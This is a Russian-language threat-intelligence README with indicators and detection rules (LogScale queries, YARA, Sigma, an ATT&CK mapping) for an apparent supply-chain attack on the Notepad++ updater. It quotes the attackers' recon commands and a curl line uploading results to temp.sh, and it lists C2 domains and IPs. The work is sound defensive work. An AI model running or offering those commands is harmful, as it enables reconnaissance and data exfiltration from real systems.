
Индикаторы компрометации и правила обнаружения для атаки на цепочку поставок Notepad++ (CVE-2025-15556) — Lotus Blossom APT, июнь–декабрь 2025. Включает запросы Falcon LogScale, правила YARA/Sigma и сопоставление с MITRE ATT&CK.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | июнь – декабрь 2025
Этот репозиторий содержит полный консолидированный набор индикаторов компрометации (IoC), связанных с атакой на цепочку поставок Notepad++, раскрытой 2 февраля 2026 года.
В период с июня по декабрь 2025 года спонсируемый китайским государством субъект угрозы скомпрометировал хостинг-инфраструктуру Notepad++, перехватив встроенный механизм обновления (WinGUp) для выборочной доставки троянизированных установщиков целевым пользователям. Атака использовала отсутствие криптографической проверки в обновляторе (до версии 8.8.9), что позволило распространять собственные бэкдоры, Cobalt Strike Beacon и полезные нагрузки Metasploit.
Kaspersky GReAT выявила три различные цепочки заражения, которые ротировались примерно ежемесячно для уклонения от обнаружения:
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
→ Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist → эксфильтрация через temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
→ shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
→ decrypts "BluetoothService" shellcode → Chrysalis backdoor
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ COMPROMISE TIMELINE │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Oct 25 │ Nov 25 │Dec 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chain #1 (ProShow) │████████████████████ │
Chain #2 (Lua) │ █████████████████████████████ │
Chain #3 (DLL SL) │ ██████████████ │
Infra access │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| Файл | Описание |
|---|---|
notepadpp_supply_chain_iocs.csv | Полный набор данных IoC (105 индикаторов) с сопоставлением с MITRE ATT&CK |
Поведенческие — не зависят от IoC, наибольшая ценность:
gup.exe, порождающий любой дочерний процесс, кроме легитимного подписанного установщика Notepad++gup.exe, подключающийся к доменам/IP-адресам, отличным от notepad-plus-plus.org, github.com, release-assets.githubusercontent.com%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (среда выполнения NSIS — присутствует во всех цепочках)Сетевые — высокая степень уверенности:
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) — особенно с загрузкой файлов через curltemp.sh, встроенными в заголовок User-Agent45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210Команды разведки (пост-эксплуатация):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// Malicious IPs
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// Malicious Domains
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
// Suspicious filenames
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Suspicious DLLs
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Chain-specific artifacts
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "Detects malicious NSIS installers from Notepad++ supply chain attack"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
title: Notepad++ GUP.exe Suspicious Child Process
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects GUP.exe (Notepad++ updater) spawning suspicious child processes indicative of supply chain compromise
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- Legitimate Notepad++ installers with non-standard naming
level: high
title: Reconnaissance Data Exfiltration via temp.sh
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects system reconnaissance followed by data upload to temp.sh, as observed in Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- Legitimate use of temp.sh file sharing service (rare in corporate environments)
level: high
title: Notepad++ Supply Chain C2 Domain Resolution
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects DNS resolution of C2 domains associated with the Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- Very unlikely in corporate environments
level: critical
gup.exe, порождающего неожиданные дочерние процессы в период с июня по декабрь 2025 года%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\)| Дата | Изменение |
|---|---|
| 2026-02-09 | Первоначальный выпуск — 105 IoC, консолидированных из источников Kaspersky, Rapid7, CrowdStrike, Tenable |
Этот репозиторий предоставляется под лицензией MIT. IoC агрегированы из открытых источников исключительно в защитных целях.
Вклад приветствуется. Если у вас есть дополнительные IoC, правила обнаружения или исправления:
Отказ от ответственности: Этот репозиторий предназначен исключительно для целей защитной кибербезопасности. IoC и правила обнаружения предоставляются как есть, чтобы помочь организациям оценить степень своей подверженности данной компрометации цепочки поставок.
| CVE | CVE-2025-15556 — загрузка кода без проверки целостности |
| Субъект угрозы | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| Период активности | июнь 2025 — 2 декабря 2025 |
| Вектор атаки | Компрометация цепочки поставок через автообновление WinGUp |
| Цели | Государственные органы, телекоммуникационные и финансовые организации, IT-провайдеры (Филиппины, Вьетнам, Сальвадор, Австралия, Восточная Азия) |
| Вредоносное ПО | бэкдор Chrysalis (собственный), Cobalt Strike Beacon, Metasploit Meterpreter |
| Исправлено в | Notepad++ v8.8.9+ (проверка сертификата) / v8.9.1+ (валидация XMLDSig) |
| Поле | Описание |
|---|
ioc_type | Тип: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | Значение индикатора |
chain | Цепочка заражения (1, 2, 3, 1/2, 2/3, all, n/a) |
context | Описание того, что представляет собой IoC |
source | Источник разведданных (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | Критичность (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | Идентификатор техники MITRE ATT&CK |
| Тактика | Техника | ID | Использование в этой кампании |
|---|
| Первичный доступ | Supply Chain Compromise: Compromise Software Supply Chain | T1195.002 | Перехват механизма обновления WinGUp |
| Выполнение | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | Разведка через cmd.exe |
| Выполнение | Command and Scripting Interpreter: Python/Lua | T1059.006 | Интерпретатор Lua в цепочке №2 |
| Выполнение | Exploitation for Client Execution | T1203 | Уязвимость ProShow в цепочке №1 |
| Выполнение | Native API | T1106 | EnumWindowStationsW для выполнения шеллкода |
| Закрепление | Hijack Execution Flow: DLL Side-Loading | T1574.002 | Сайдлоадинг log.dll в цепочке №3 |
| Обход защиты | Obfuscated Files or Information | T1027 | Зашифрованный шеллкод, ключ XOR "CRAZY" |
| Обход защиты | Masquerading: Match Legitimate Name | T1036.005 | BluetoothService.exe, update.exe, AutoUpdater.exe |
| Разведка | System Information Discovery | T1082 | whoami, systeminfo, tasklist, netstat |
| Сбор | Data Staged: Local Data Staging | T1074.001 | Результаты разведки сохраняются в .txt-файлы |
| Управление и контроль | Application Layer Protocol: Web Protocols | T1071.001 | HTTPS C2 через Cobalt Strike, Chrysalis |
| Управление и контроль | Encrypted Channel | T1573 | Зашифрованная конфигурация CS Beacon |
| Управление и контроль | Ingress Tool Transfer | T1105 | Загрузчик Metasploit, получающий CS Beacon |
| Эксфильтрация | Exfiltration Over Web Service | T1567 | Загрузка на temp.sh |
| Источник | Ссылка |
|---|
| Kaspersky GReAT — незамеченные цепочки выполнения и новые IoC | securelist.com |
| Rapid7 — Chrysalis Backdoor: погружение в набор инструментов Lotus Blossom | rapid7.com |
| Официальное заявление Notepad++ — обновление информации об инциденте с захватом | notepad-plus-plus.org |
| Kevin Beaumont — первоначальное раскрытие и атрибуция | DoublePulsar |
| Tenable — FAQ о компрометации цепочки поставок Notepad++ | tenable.com |
| Orca Security — анализ перехвата обновлений и меры по устранению | orca.security |
| CSO Online — изощрённая атака на цепочку поставок китайского APT | csoonline.com |